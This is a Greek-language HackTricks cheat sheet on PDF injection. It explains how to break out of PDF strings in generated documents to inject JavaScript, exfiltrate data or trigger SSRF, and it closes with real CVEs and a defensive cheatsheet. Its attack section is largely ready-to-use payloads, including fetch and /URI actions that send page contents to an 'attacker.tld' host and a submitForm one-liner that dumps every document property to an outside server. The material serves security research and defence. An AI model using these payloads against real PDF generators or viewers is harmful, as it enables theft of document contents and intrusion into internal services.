PDF Injection
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF. Η σύνταξη PDF είναι εξαιρετικά επιεικής – αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως. Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή για πλήρη εκτέλεση σεναρίου.
TL;DR – Σύγχρονη Ροή Επίθεσης (2024)
- Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια (συμβολοσειρά παρένθεσης),
/URI ( … )
ή/JS ( … )
πεδίο στο παραγόμενο PDF. - Εισάγετε
)
(κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη. - Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο – εξαιρετικό για τυφλά σφάλματα).
- Το payload σας εκτελείται στον αναγνώστη PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (βλ. CVE-2024-4367)
- Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με
this.getPageNthWord
)
Παράδειγμα (κατάχρηση συνδέσμου σημείωσης):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Η πρώτη )
κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο Action λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.
Χρήσιμα Injection Primitives
Στόχος | Payload Snippet | Σημειώσεις |
---|---|---|
JavaScript κατά το άνοιγμα | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome). |
JavaScript κατά τον σύνδεσμο | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια /Link σημείωση. |
Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Συνδυάστε με this.getPageNthWord μέσα σε JS για να κλέψετε περιεχόμενο. |
Server-Side SSRF | Το ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL – εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το /URI . | |
Διάλειμμα γραμμής για νέα αντικείμενα | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Αν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. |
Blind Enumeration Trick
Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο – χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια JSON-ish εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data exFiltration” για την πλήρη τεχνική.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια
/JavaScript
. - Bug bounty 2024-05 – Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο
/URI
; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώνταςfile:///
URI. - CVE-2023-26155 – Η εντολή
node-qpdf
μέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη πριν από το επίπεδο PDF.
Defensive Cheatsheet
- Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη μέσα σε
(
…)
συμβολοσειρές ή ονόματα. Απόδραση\
,(
,)
όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές<...>
. - Εάν δημιουργείτε συνδέσμους, προτιμήστε
/URI (https://…)
που να κωδικοποιείτε πλήρως URL; αποκλείστε τα σχήματαjavascript:
στους πελάτες προβολής. - Αφαιρέστε ή επικυρώστε τα λεξικά
/OpenAction
,/AA
(επιπλέον ενέργειες),/Launch
,/SubmitForm
και/ImportData
κατά την επεξεργασία PDF. - Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν headless converter (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
- Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.